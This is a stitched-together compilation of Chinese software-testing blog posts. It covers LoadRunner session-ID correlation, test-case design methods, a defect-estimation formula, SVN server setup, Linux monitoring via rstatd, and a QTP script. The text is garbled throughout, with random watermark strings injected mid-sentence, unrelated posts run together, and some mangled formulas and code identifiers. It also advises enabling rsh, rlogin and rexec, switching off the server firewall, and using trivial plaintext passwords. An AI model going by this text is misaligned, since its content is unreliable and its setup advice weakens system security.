所谓的关联(correlation)就是把脚本中一些写死的(hard-coded)数据,转变成是撷取自服务器所送的、动态的、每次都不一样的数据。
举一个常见的例子,刚刚提到有些比较聪明的服务器,这些服务器在每个浏览器第一次跟它要数据时,都会在数据中夹带一个唯一的辨识码,接下来就会利用这个辨识码来辨识跟它要数据的是不是同一个浏览器。一般称这个辨识码为Session ID。对于每个新的交易,服务器都会产生新的Session ID给浏览器。这也就是为什么执行脚本会失败的原因,因为VuGen还是用旧的Session ID向服务器要数据,服务器会发现这个Session ID是失效的或是它根本不认识这个Session ID,当然就不会传送正确的网页数据给VuGen了。
下面的图示说明了这样的情形:
当录制脚本时,浏览器送出网页A的请求,服务器将网页A的内容传送给浏览器,并且夹带了一个ID=123的数据,当浏览器再送出网页B的请求时,这时就要用到ID=123的数据,服务器才会认为这是合法的请求,并且把网页B的内容送回给浏览器。
在执行脚本时会发生什么状况?浏览器再送出网页B的请求时,用的还是当初录制的ID=123的数据,而不是用服务器新给的ID=456,整个脚本的执行就会失败。
要对付这种服务器,我们必须想办法找出这个Session ID到底是什么、位于何处,然后把它撷取下来,放到某个参数中,并且取代掉脚本中有用到Session ID的部份,这样就可以成功骗过服务器,正确地完成整个交易了。
哪些错误代表着我应该做关联(correlation)?
假如脚本需要关联(correlation),在还没做之前是不会执行通过的,也就是说会有错误讯息发生。不过,很不幸地,并没有任何特定的错误讯息是和关联(correlation)有关系的。会出现什么错误讯息,与系统实做的错误处理机制有关。错误讯息有可能会提醒您要重新登入,但是也有可能直接就显示HTTP 404的错误讯息。
要如何做关联(correlation)?
关联(correlation)函数
关联(correlation)会用到下列的函数:
web_reg_save_param:这是最新版,也是最常用来做关联(correlation)的函数。语法:web_reg_save_param ( “Parameter Name” , & list of Attributes &, LAST );
web_create_html_param、web_create_html_param_ex:这二个函数主要是保留作为向前兼容的目的的。建议使用 web_reg_save_param 函数。
详细用法请参考使用手册。在VuGen中点选【Help】&【Function reference】&【Contexts】&【Web and Wireless Vuser Functions】&【Correlation Functions】。
VuGen内建自动关联引擎(auto-correlation engine),可以自动找出需要关联的值,并且自动使用关联函数建立关联。
自动关联提供下列二种机制:
Rules Correlation:在录制过程中VuGen会根据订定的规则,实时自动找出要关联的值。规则来源有两种:
内建(Built-in Correlation):VuGen已经针对常用的一些应用系统,如AribaBuyer、BlueMartini、BroadVision、InterStage、mySAP、NetDynamics、Oracle、PeopleSoft、Siebel、SilverJRunner等,内建关联规则,这些应用系统可能会有一种以上的关联规则。您可以在【Recording Options】&【Internet Protocol】&【Correlation】中启用关联规则,则当录制这些应用系统的脚本时,VuGen会在脚本中自动建立关联。您也可以在【Recording Options】&【Internet Protocol】&【Correlation】检视每个关联规则的定义。
使用者自订(User-defined Rules Correlation):除了内建的关联规则之外,使用者也可以自订关联规则。您可以在【Recording Options】&【Internet Protocol】&【Correlation】建立新的关联规则。
Correlation Studio:有别于Rules Correlation,Correlation Studio则是在执行脚本后才会建立关联,也就是说当录制完脚本后,脚本至少须被执行过一次,Correlation Studio才会作用。Correlation Studio会尝试找出录制时与执行时,服务器响应内容的差异部分,藉以找出需要关联的数据,并建立关联。
Rule Correlation
请依照以下步骤使用Rule Correlation:
启用auto-correlation
点选VuGen的【Tools】&【Recording Options】,开启【Recording Options】对话窗口,选取【Internet Protocol】&【Correlation】,勾选【Enable correlation during recording】,以启用自动关联。
假如录制的应用系统属于内建关联规则的系统,如AribaBuyer、BlueMartini、BroadVision、InterStage、mySAP、NetDynamics、Oracle、PeopleSoft、Siebel、SilverJRunner等,请勾选相对应的应用系统。
或者也可以针对录制的应用系统加入新的关联规则,此即为使用者自订的关联规则。
设定当VuGen侦测到符合关联规则的数据时,要如何处理:
【Issue a pop-up message and let me decide online】:跳出一个讯息对话窗口,询问您是否要建立关联。
【Perform correlation in sceipt】:直接自动建立关联
使用WinDiff工具协助找出需要关联的数据
在第二份脚本中,点选VuGen的【Tools】&【Compare with Vuser…】,并选择第一份脚本。
接着WinDiff会开启,同时显示二份脚本,并显示有差异的地方。WinDiff会以一整行黄色标示有差异的脚本,并且以红色的字体显示真正差异的文字。(假如没看到红色字体,请点选【Options】&【View】&【Show Inline Differences】)。
逐一检视二份脚本中差异的部份,每一个差异都可能是需要做关联的地方。选取差异的脚本,然后复制。在复制时,有时并不需要取整行脚本,可能只会选取脚本中的一部分。
Grenford J. Myers在《The Art of Software Testing》一书中提出:一个好的测试用例是指很可能找到迄今为止尚未发现的错误的测试,由此可见测试用例设计工作在整个测试过程中的地位,我们不能只凭借一些主观或直观的想法来设计测试用例,应该要以一些比较成熟的测试用例设计方法为指导,再加上设计人员个人的经验积累来设计测试用例,二者相结合应该是非常完美的组合。本文所介绍的测试用例设计方法对于测试设计人员将是一个很好的方法指导,当然看完本文也未必能设计出好的测试用例,有了好的方法作为指导后需要更多的实践经验加以巩固和提炼。只有将测试设计思想与丰富的实践经验相融合才能设计出高质量的测试用例,相信你行!
本文描述的范围:测试用例基本概念、测试用例设计方法、测试用例设计综合策略。
&&& 关键词:测试用例、等价类划分、边界值分析、错误推测、因果图、判定表驱动分析、正交实验、功能图分析、场景设计
.测试用例基本概念
测试用例是为特定的目的而设计的一组测试输入、执行条件和预期的结果。测试用例是执行的最小实体。简单地说,测试用例就是设计一个场景,使软件程序在这种场景下,必须能够正常运行并且达到程序所设计的执行结果。
1.最有可能抓住错误的;
2.不是重复的、多余的;
3.一组相似测试用例中最有效的;
4.既不是太简单,也不是太复杂。
1.用例ID;
2.用例名称;
3.测试目的;
4.测试级别;
5.参考信息;
6.测试环境;
7.前提条件;
8.测试步骤;
9.预期结果;
10.设计人员。
1.测试用例的代表性:能够代表并覆盖各种合理的和不合理的、合法的和非法的、边界的和越界的以及极限的输入数据、操作和环境设置等。
2.测试结果的可判定性:即测试执行结果的正确性是可判定的,每一个测试用例都应有相应的期望结果。
3.测试结果的可再现性:即对同样的测试用例,系统的执行结果应当是相同的。
o"G7p2IB Mx0什么是分类树?设想你希望设计出一个系统用于把一堆的美金硬币分成不同的类别(例如:一分币、五分币、一角币、二角五分币)。假设通过一些测量手段可以区别这些硬币,例如可以用直径来分类。你可以把硬币倒入一个槽,槽的直径恰好能让一角的硬币通过,如果能通过,那么它就被划分为一角的硬币;否则就继续倒入另外一个槽,槽的直径恰好能让一分币的硬币通过,如果能通过,则被分类成一分币;否则又继续下一个槽,这个槽的直径只容五分币大小的通过,如此类推。这样的过程实际上就是在构造一棵分类树。用于构造分类树的判断过程提供了一种有效的方法用于把一堆的硬币归类,而这种方式可以用于更广泛的各种各样的分类问题。51Testing软件测试网SS0DIz7@9I m-il
51Testing软件测试网$?|X)b.@分类树被广泛应用于各种学科,例如医疗诊断、计算机数据结构、植物分类、心理学的决策论等。我们现在要讨论的是分类树在测试用例的设计方面的应用。
0O${Ip0\-KD0测试用例的设计是对测试质量而言非常关键的活动,因为测试用例集合的选择对测试的深度和测试范围的影响非常大。
QC:^51Testing软件测试网*分类树方法是由Grochtmann和Grimm在1993年提出的,是在软件方面一种有效的测试方法,通过分类树把测试对象的整个输入域分割成独立的类。51Testing软件测试网u+W!}N qn
&&& 51Testing软件测试网/If@-@/t|wz按照分类树方法,测试对象的输入域被认为是由各种不同的方面组成并且都与测试相关。对于每个方面,分离和组成各种类别,而分类结果的各类又可能再进一步地被分类。这种通过对输入域进行层梯式的分类表现为树状结构。随后,通过组合各种不同分类的结果来形成测试用例。
,K dI|{*p0&&& FH t u]‑Or&e0使用分类树方法,对于测试人员来说最重要的信息来源是测试对象的功能规格说明书。使用分类树方法的一个重要的好处是:它把测试用例设计转变成一个组合若干结构化和系统化的测试对象组成部分的过程 - 使其容易把握,易于理解,当然也易于文档化。
1x1g9oLtf0分类树方法的基本原理是:首先把测试对象的可能输入按照不同的分类方式进行分类,每一种分类要考虑的是测试对象的不同的方面。然后把各种分开的输入组合在一起产生不冗余的测试用例,同时又能覆盖测试对象的整个输入域。51Testing软件测试网+xl kFw ?W
&&&& 9YZ:C W pI6}Qa@(j0因此,可以把使用分类树方法设计测试用例的过程分为3大步骤:
{%F/b;p5]%eZ01、识别出测试对象并分析输入空间。
51Testing软件测试网e/d!~"H(?4W A2、对测试对象的输入空间进行分类。51Testing软件测试网uIcha M)Yr%lL
3、画出分类树、组合成测试用例。
3、51Testing软件测试网 l9]:k7[%s(A8wmL
4、51Testing软件测试网H-w(}FA5m4在第一个步骤中,测试人员需要确定与测试相关的方面。每个方面应该有精确的限制,从而可以清晰地区别测试对象的可能输入。例如,上图中的大小(Size)、颜色(Colour)、形状(Shape)共同组成了测试对象的可能输入的方面。
5、q~)@ K(51Testing软件测试网 D1d#\ I;g1O:~&在接下来的步骤,依据测试对象的每个方面对可能的输入进行划分,这个划分就是数学上说的"分类"。分类的结果就形成了各种"类"。因此一个"分类"的结果代表了测试对象的某个方面的输入。例如,大小(Size)方面的可能输入是大(Large)或者小(Small);颜色(Colour)方面的可能输入是红色(Red)、绿色(Green)、蓝色(Blue)等。
6、#u!yA m R&?tW l0L8o;k5B"pS0最后一个步骤是形成测试用例。测试用例是由不同分类的类组合形成,在组合类的时候需要注意逻辑兼容性,也就是说交集不能为空。测试人员组合类形成需要的测试用例,以便覆盖测试对象的所有方面并充分考虑它们的组合。例如,测试用例1就考虑了大尺寸、红颜色、圆形的输入。
+SF O3E7?.h |6^S8{0&&& *e(pL J n&E7W0} oD k%a9a0如果测试用例是依据软件功能规格来设计的,那么我们叫这种类型的测试为功能测试。虽然功能测试对于验证系统非常重要并且广泛应用在测试中,但是只有很少的方法和工具可以系统地产生相应的测试用例。
TVD\.P G;b r&QY0&&& $_5I \\-z|y:J0而 XL(Classification Tree Editor eXtended Logics)是为数不多的工具之一。它是一个语法控制的、图形化的编辑器。帮助我们更加有效地使用分类树方法进行测试用例的设计。
5myFa&`8Kc;B0&&& 51Testing软件测试网"@e'^!d~d‑B,PA工具的使用方法比较简单,下面作简要的介绍。
{ v Z‑Aa8k‑I1jZP(x0h01、首先创建测试对象,如下图所示,创建一个测试对象Block,并开始进行分类。
-z?F]CwC t0
W'ZB5L‑t v051Testing软件测试网}*JJ$S Y72、对测试对象进行分类:添加类别元素Size、Colour、Form,如下图所示。51Testing软件测试网 HE3yX5SJ6` cK
51Testing软件测试网&EN/eb?#Bo9U&}3、向各种类别添加类,形成分类树,如下图所示。51Testing软件测试网y:K*J:m(z6K&d&|
xDRw.I3W04、添加测试用例,如下图所示。
"w-Et&E1O0
51Testing软件测试网TGGHJHr5、对于添加的每个测试用例,通过选择并标注各类的组合,形成需要的测试用例,如下图所示。51Testing软件测试网HD u3M8i'v B'y'K
6U)r&e&M2f1K&l;]0&51Testing7~"`fKO&OG"s
\Ig8|j0&51TestingX){x%t.qjhUMLUML51Testingi8y5OQT*py {
vG;l8u"E C sF+G0
是把所有可能的输入数据,即程序的输入域划分成若干部分(子集),然后从每一个子集中选取少数具有代表性的数据作为测试用例。该方法是一种重要的,常用的黑盒测试用例设计方法。
2.划分等价类:
&&& 等价类是指某个输入域的子集合。在该子集合中,各个输入数据对于揭露程序中的错误都是等效的,并合理地假定:测试某等价类的代表值就等于对这一类其它值的测试,因此,可以把全部输入数据合理划分为若干等价类,在每一个等价类中取一个数据作为测试的输入条件就可以用少量代表性的测试数据取得较好的测试结果。等价类划分可有两种不同的情况:有效等价类和无效等价类。
1)有效等价类
是指对于程序的规格说明来说是合理的、有意义的输入数据构成的集合。利用有效等价类可检验程序是否实现了规格说明中所规定的功能和性能。
2)无效等价类
与有效等价类的定义恰巧相反。无效等价类指对程序的规格说明是不合理的或无意义的输入数据所构成的集合。对于具体的问题,无效等价类至少应有一个,也可能有多个。
设计测试用例时,要同时考虑这两种等价类。因为软件不仅要能接收合理的数据,也要能经受意外的考验,这样的测试才能确保软件具有更高的可靠性。
3.划分等价类的标准:
1)完备测试、避免冗余;
2)划分等价类重要的是:集合的划分,划分为互不相交的一组子集,而子集的并是整个集合;
3)并是整个集合:完备性;
4)子集互不相交:保证一种形式的无冗余性;
5)同一类中标识(选择)一个测试用例,同一等价类中,往往处理相同,相同处理映射到"相同的执行路径"。
4.划分等价类的方法
1)在输入条件规定了取值范围或值的个数的情况下,则可以确立一个有效等价类和两个无效等价类。如:输入值是学生成绩,范围是0~100;
&2)在输入条件规定了输入值的集合或者规定了"必须如何"的条件的情况下,可确立一个有效等价类和一个无效等价类;
3)在输入条件是一个布尔量的情况下,可确定一个有效等价类和一个无效等价类。
4)在规定了输入数据的一组值(假定n个),并且程序要对每一个输入值分别处理的情况下,可确立n个有效等价类和一个无效等价类。
例:输入条件说明学历可为:专科、本科、硕士、博士四种之一,则分别取这四种这四个值作为四个有效等价类,另外把四种学历之外的任何学历作为无效等价类。
5)在规定了输入数据必须遵守的规则的情况下,可确立一个有效等价类(符合规则)和若干个无效等价类(从不同角度违反规则);
6)在确知已划分的等价类中各元素在程序处理中的方式不同的情况下,则应再将该等价类进一步的划分为更小的等价类。
5.设计测试用例
在确立了等价类后,可建立等价类表,列出所有划分出的等价类输入条件:有效等价类、无效等价类,然后从划分出的等价类中按以下三个原则设计测试用例:
1)为每一个等价类规定一个唯一的编号;
2)设计一个新的测试用例,使其尽可能多地覆盖尚未被覆盖地有效等价类,重复这一步,直到所有的有效等价类都被覆盖为止;
3)设计一个新的测试用例,使其仅覆盖一个尚未被覆盖的无效等价类,重复这一步,直到所有的无效等价类都被覆盖为止.
1.某程序规定:"输入三个整数 a 、 b 、 c 分别作为三边的边长构成三角形。通过程序判定所构成的三角形的类型,当此三角形为一般三角形、等腰三角形及等边三角形时,分别作计算 … "。用等价类划分方法为该程序进行测试用例设计。(三角形问题的复杂之处在于输入与输出之间的关系比较复杂。)& 分析题目中给出和隐含的对输入条件的要求: & (1)整数&&& (2)三个数&&& (3)非零数&& (4)正数&& & (5)两边之和大于第三边&&&& (6)等腰&&&& (7)等边 && 如果 a 、 b 、 c 满足条件( 1 ) ~ ( 4 ),则输出下列四种情况之一:&& 1)如果不满足条件(5),则程序输出为 " 非三角形 " 。&& 2)如果三条边相等即满足条件(7),则程序输出为 " 等边三角形 " 。&& 3)如果只有两条边相等、即满足条件(6),则程序输出为 " 等腰三角形 " 。&& 4)如果三条边都不相等,则程序输出为 " 一般三角形 " 。 && 列出等价类表并编号
&& 覆盖有效等价类的测试用例:&&& a&&&&& b&&&&& c&&&&&&&&&&&&& 覆盖等价类号码&&& 3&&&&& 4&&&&& 5&&&&&&&&&&&& (1)--(7)&&& 4&&&&& 4&&&&& 5&&&&&&&&&&&& (1)--(7),(8)&&& 4&&&&& 5&&&&& 5&&&&&&&&&&&& (1)--(7),(9)&&& &&& 5&&&&& 4&&&&& 5&&&&&&&&&&&& (1)--(7),(10)&&& 4&&&&& 4&&&&& 4&&&&&&&&&&&& (1)--(7),(11)&& 覆盖无效等价类的测试用例:
2.设有一个档案管理系统,要求用户输入以年月表示的日期。假设日期限定在1990年1月~2049年12月,并规定日期由6位数字字符组成,前4位表示年,后2位表示月。现用等价类划分法设计测试用例,来测试程序的"日期检查功能"。& 1)划分等价类并编号,下表等价类划分的结果
输入等价类
有效等价类
无效等价类
日期的类型及长度
①6位数字字符
②有非数字字符
③少于6位数字字符
④多于6位数字字符
⑥小于1990
⑦大于2049
⑧在01~12之间
& 2)设计测试用例,以便覆盖所有的有效等价类在表中列出了3个有效等价类,编号分别为①、⑤、⑧,设计的测试用例如下:&&& 测试数据&&& 期望结果&&&&& 覆盖的有效等价类&&& 200211&&&&& 输入有效&&&&& ①、⑤、⑧<SPAN lang=EN-US style="FONT-FAMILY: 宋体; mso-bidi-font-family: V mso-font-kerning: 0 mso-bidi-fon
相信大家在做测试的时候,公司会通过缺陷管理工具来统计,分析,提交BUG报告,有些公司通过这些来考察员工的工作绩效,不知道大家公司在测试的时候究竟找出了多少缺陷呢?下面我们来看看,找缺陷大家是否彻底了呢:
首先,我们来看看软件缺陷的估算方法:
&&& B=1/2(n/m+n/2m) 其中:n&m,m是复杂性系数,一般取值200LOC~400LOC,LOC单位代表:源代码行数; n是软件的复杂度,一般用源代码总行数来表示.
&&& 例如一个10万行级的代码程序,大概存在如下数目的缺陷:
&&&& B=1/2(~400+~800)&&&&& =187.5~375(个)
但是软件错误按开发阶段进行分类,又可以分为:计划错误,需求分析错误,设计错误,编码错误,测试错误,运行与维护错误等.
例如:有一个6877000行源代码程序被发现了含有16029个错误,分析后如下:
1.软件需求错误:1317个& 8.2%2.功能和性能错误: 2624个 16.1%3.结构错误: 4082个 25.2%4.数据错误(数据库设计): 3638个 22.4%5.实现和编码错误: 1601个 9.9%6.集成错误: 1455个 9.0%7.系统结构: 282个 1.7%8.测试定义与执行: 447个 2.8%9.其他类型: 763个 4.7%
假如你公司只做黑盒测试,呵呵,恭喜你,你们只找到了4000多个Bug. 如果贵公司又做白盒测试,恭喜你,找到了70%多的Bug,最后,如果还做数据库测试的话,又可以多找到3000多个拉.所以有时候说测试是不能100%的,很多时候我们只是做了其中一少部分的工作,还有很多隐藏的缺陷随时都有可能被触发......
目组做项目文档等资源管理,原计划使用VSS,因找不到VSS Server安装文件(目前很多人手中有的都是VSS客户端安装文件),决定改用SVN。SVN是CVS的升级版,功能完善了很多,又是开源的。下面对SVN的安装及配置进行详细说明(基于 平台):一.软件版本  1.svn服务器:  svn-1.4.5-setup.rar&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& ()  2.svn客户端:   TortoiseSVN-1.4.5.10425-win32-svn-1.4.5.rar( ... win32-svn-1.4.5.rar)   3.配置svn服务成window service自动运行的工具: &&&&&&&&&&&&&&& SVNService.rar() 二.安装过程  1.安装SVN服务器,直接运行这个.EXE文件即可,无须设置,一路默认下去,完成SVN服务器安装。  2.新建一个版本控制库,运行CMD程序,输入svnadmin create D:\SVNRoot(具体位置可以自己定义)。  3.安装SVN服务,因为WINDOWS默认是没有的,那就要自己安装,把SVNService解压到SVN安装文件的BIN目录下,在命令行中输入:  svnservice -install -d -r D:\SVNRoot  然后再启动SVN服务,输入:  net start svnservice,  SVN在默认情况下是不会自动启动的,需要到控制面板管理下的服务中将SVNSERVER设为自动启动。   4.安装SVN客户端,直接运行TortoiseSVN安装文件,也无须特殊设置,安装完毕后会提示你重启(不重启也可以用)(客户端机器只需要安装TortoiseSVN)。三.服务器端配制   1.找到D:\SVNRoot文件下的conf目录,对svnserver.conf,passwd,author进行配置 svnserve.conf [general] ### These options control access to the repository for unauthenticated ### and authenticated users. Valid values are "write", "read", ### and "none". The sample settings below are the defaults. anon-access = read auth-access = write ### The password-db option controls the location of the password ### database file. Unless you specify a path starting with a /, ### the file's location is relative to the conf directory. ### Uncomment the line below to use the default password file. password-db = passwd 含义是:   未验证用户无任何权限 (如果把none修改为read就是给予读权限)   已验证用户给予写权限 (当然也能读)   密码数据存放到passwd文件中
passwd [users] #harry = harryssecret #sally = sallyssecret admin=admin111 lvzy=lvzy111 含义是:   增加了admin这个用户,密码为admin111   增加了lvzy这个用户,密码为lvzy111
Author [groups] # harry_and_sally = harry,sally   进行用户组的配制 比如: Lantian=admin,lvzy 含义是将admin,lvzy加入到组Lantian中去 # [repository:/baz/fuz] # @harry_and_sally = rw # * = r   进行文件权限的设置   比如存在libs这个文件,而我只希望admin一个人可以读写,lvzy有读权限,未授权的无法访问,则可以这样写 [/libs] admin=rw lvzy=r *=none 注:*表示匿名用户
四.测试SVN   在客户端(当然也可以是本机),右击点TortoiseSVN-》Repo_Browser在弹出的URL中输入svn://服务器IP,点击OK,这时会要求你输入用户名和密码,你将你在passwd中设置的用户和密码在这里输入就可以了,然后你就可以看到版本库的内容,当然刚开始是新的,具体的客户端使用请查看文档。 五. 说明  服务器端防火墙应关闭,否则,将直接影响访问速度或不可访问。  服务器端的安装可以完全按照以上四步的操作进行(可以不在服务器上安装客户端,即不执行二.4步骤);客户端的安装,只需要执行二.4步操作,安装客户端软件即可。客户端使用时,打开IE浏览器按第四步骤输入:svn://IP 即可。
&& 我到新公司上班也有了5-6天了,这几天里感觉真的很累,也很头痛.因为自己以前学的测试知识或工具,到现在这家公司用不到多少.而且我要熟悉公司的业务知识都得花个1个月,不知道还能待到那个时候不?我待在的是BI产品测试组,做的是智能产品系统的测试,比如中国电信的计费系统什么的.光是里面的专业术语我就得死多少脑细胞了,以前我用的是TD,现在公司的是CQ;数据库以前用过Sql2000与Mysql,而公司现在用的是Oracle,以前用VSS,现在用Svn,还要学Erwin.总之要学的东西太多了,我也相信我自己能做到的.
& 但是我自己也有心中的苦闷,这就是为什么我这段时间真的过的很辛苦.感觉时间很漫长!~!等过了那关后我想自己就会心静下来了.
总结:如果你是员或是高级测试员,有志转向管理发展,那么需要加强以下几点:1. 测试计划的编写(要结合测试的项目,能以此来控制和确定测试所需人员,设备及时间来管理测试时间)2. 要熟悉BUG跟踪工具及流程.(如: TD, Bugzilla, CQ等)3. 要熟悉工具. (如: CVS, VSS等)4. 要熟悉自动化工具.(例如:WinRunner, , , RFT, Automation等,能结合录制完的脚本编写代码)5. 要熟悉压力及工具.(例如: , webload, silkperformance等,能结合相关数据,分析出性能瓶颈)6. 要熟悉或精通一门语言. (例如: Java, C++)7. 要熟悉.(例如: Oracle, DB2, SQLServer, )8. 要熟悉主流. (例如: HP Unix,
AIX, Sun Solaris, Red Hat , SuSE Linux, )9. 能用英文流利的和老外交流以及往来Email.10. 语言表达能力强,表达问题清晰明了.11. 沟通能力强,能和上级/开发经理很好的达成测试相关/BUG事宜.12. 的能力要强,能快速上手一个新的技术.13. 乐于与人交流.
用LOADRUNNER怎么监控Linux主机----详细学习资料
一、监控linux1 准备工作& &可以通过两种方法验证服务器上是否配置了rstatd守护程序:& & ①使用rup命令,它用于报告计算机的各种统计信息,其中就包括rstatd的配置信息。使用命令rup 10.130.61.203,此处10.130.61.203是要监视的linux/Unix服务器的Ip,如果该命令返回相关的统计信息。则表示已经配置并且激活了rstatd守护进程;若未返回有意义的统计信息,或者出现一条错误报告,则表示rstatd守护进程尚未被配置或有问题。& & ②使用find命令#find / -name rpc.rstatd,该命令用于查找系统中是否存在rpc.rstatd文件,如果没有,说明系统没有安装rstatd守护程序。& & 如果服务器上没有安装rstatd程序(一般来说LINUX都没有安装),需要下载一个包才有这个服务,包名字是rpc.rstatd-4.0.1.tar.gz. 这是一个源码,需要编译,下载并安装rstatd(可以在这个地址下载)下载后,开始安装,安装步骤如下:tar -xzvf&&rpc.rstatd-4.0.1.tar.gzcd&&rpc.rstatd-4.0.1/./configure&&—配置操作make —进行编译make install —开始安装rpc.rstatd —启动rstatd进程2)安装完成后配置rstatd 目标守护进程xinetd,它的主配置文件是/etc/xinetd.conf ,它里面内容是一些如下的基本信息:## xinetd.conf## Copyright (c)
SuSE GmbH Nuernberg, Germany.# Copyright (c) 2002 SuSE Linux AG, Nuernberg, Germany.#defaults{& && &&&log_type& && &&&= FILE /var/log/xinetd.log& && &&&log_on_success&&= HOST EXIT DURATION& && &&&log_on_failure&&= HOST ATTEMPT#& && &&&only_from& && & = localhost& && &&&instances& && & = 30& && &&&cps& && && && & = 50 10## The specification of an interface is interesting, if we are on a firewall.# For example, if you only want to provide services from an internal# network interface, you may specify your internal interfaces IP-Address.##& && & interface& && & = 127.0.0.1}includedir /etc/xinetd.d我们这里需要修改的是/etc/xinetd.d/下的三个conf文件 rlogin ,rsh,rexec 这三个配置文件,打这三个文件里的disable = yes都改成 disable = no ( disabled 用在默认的 {} 中 禁止服务)或是把# default: off都设置成 on 这个的意思就是在xinetd启动的时候默认都启动上面的三个服务!&&说明:我自己在配置时,没有disable = yes这项,我就将# default: off改为:default: on,重启后(cd /etc/init.d/& &&&./xinetd restart)通过netstat -an |grep 514查看,没有返回。然后,我就手动在三个文件中最后一行加入disable = no,再重启xinetd,再使用netstat -an |grep 514查看,得到tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN结果,表明rsh服务器已经启动。& &&&只要保证Linux机器上的进程里有rstatd和xinetd这二个服务就可以用LR去监视了两点小的技巧:①检查是否启动: rsh server 监听的TCP 是514。[root@mg04 root]# netstat -an |grep 514tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN如果能看到514在监听说明rsh服务器已经启动。②检查是否启动: rstatd输入命令: rpcinfo -p如果能看到类似如下信息:程序 版本 协议 端口100001& & 5& &udp& & 937&&rstatd100001& & 4& &udp& & 937&&rstatd100001& & 3& &udp& & 937&&rstatd100001& & 2& &udp& & 937&&rstatd100001& & 1& &udp& & 937&&rstatd那就说明rstatd服务启动了,(当然这里也可以用ps ax代替)③重起xinetd方法:在suse linux如下操作:cd /etc/init.d/./xinetd restart看到网上有的地方说使用如下命令:# service xinetd reload# /sbin/service xinetd rstart 不知道是在什么系统用的。④安装rsh,和rsh-server两个服务包方法 a. 卸载rsh # rpm –q rsh----------查看版本号 # rpm -e 版本号---------卸载该版本。 b.安装 # rpm –ivh rsh-0.17-14.i386.rpm rsh-server-0.17-14.i386.rpm ⑤在启动rpc.rstatd时,会报错“Cannot register service: RPC: U errno = Ction refused”。 解决方法如下: # /etc/init.d ./portmap start # /etc/init.d ./nfs start 然后再次启动rpc.rstatd就好了。 最后,在controller中,将UNIX resources拖放到右边窗口里面,右击鼠标选择Add Measurements,添加被监控linux的IP地址,然后选择需要监控的指标就可以了。二、监控UNIXlr监控UNIX ,UNIX先启动一rstatd服务 & &以下是在IBM AIX系统中启动rstatd服务的方法:1、& && &&&使用telnet以root用户的身份登录入AIX系统2、& && &&&在命令行提示符下输入:vi /etc/inetd.conf3、& && &&&查找rstatd,找到#rstatd& &sunrpc_udp& &&&udp& &&&wait& & root& & /usr/sbin/rpc.rstatd rstatd -34、将#去掉5、:wq保存修改结果6、命令提示符下输入:refresh –s inetd 重新启动服务。这样使用loadrunner就可以监视AIX系统的性能情况了。注:在HP UNIX系统上编辑完inetd.conf后,重启inetd服务需要输入inetd -cUNIX上也可以用rup命令查看rstatd程序是否被配置并激活若rstatd程序已经运行,重启时,先查看进程ps -ef |grep inet,然后杀掉进程,再refresh –s inetd进行重启。三、在LR的Controll里面Unix Resource出现了就可以添加Unix计数器了
给对象添加自定义方法,随机选择页面上所有下拉框
11:57:18 / 个人分类:
一个函数,随机选择页面上的下拉框:软件测试专业网站:51Testing软件测试网/A@k$L&g!U*B××××××××××××××××××××××××××××××××××××××××××××××&dim i&&Set ōDesc = Descrīption.Create()oDesc("html tag").Value = "SELECT"&oDesc("disabled").Value = 0Set lists = myPage.ChildObjects(oDesc)&For i = 0 To Lists.Count - 1&Lists(i).select RandomNumber(0, Lists(i).GetROProperty("items count")-1)Next End Sub
AllSelect(rightFrame) '“rightFrame”为一个框架页面,过程调用成功!
×××××××××××××××××××××××××××××××××××××××××××××××
同理,给对象添加方法:
Public Sub& AllSelect(byref myPage)&Set ōDesc = Descrīption.Create()&oDesc("html tag").Value = "SELECT"oDesc("disabled").Value = 0Set lists = myPage.ChildObjects(oDesc)For i = 0 To Lists.Count - 1Lists(i).select RandomNumber(0, Lists(i).GetROProperty("items count")-1)&Next RegisterUserFunc "Frame", "AllSelect", "AllSelect",True
rightFrame.AllSelect  '“rightFrame”为一个框架页面,方法调用成功
×××××××××××××××××××××××××××××××××××××××××××××××
Public Sub&&AllSelect(byref myPage)& & & & dim i & & & & Set ōDesc = Descrīption.Create()& & & & oDesc("html tag").Value = "SELECT"& & & & oDesc("disabled").Value = 0& & & & Set lists = myPage.ChildObjects(oDesc)& & & & For i = 0 To Lists.Count - 1& & & & & & & & Lists(i).select RandomNumber(0, Lists(i).GetROProperty("items count")-1)& & & & Next End SubRegisterUserFunc "Frame", "AllSelect", "AllSelect",TruerightFrame.AllSelect '成功!

我要回帖

更多关于 浏览器 的文章

 

随机推荐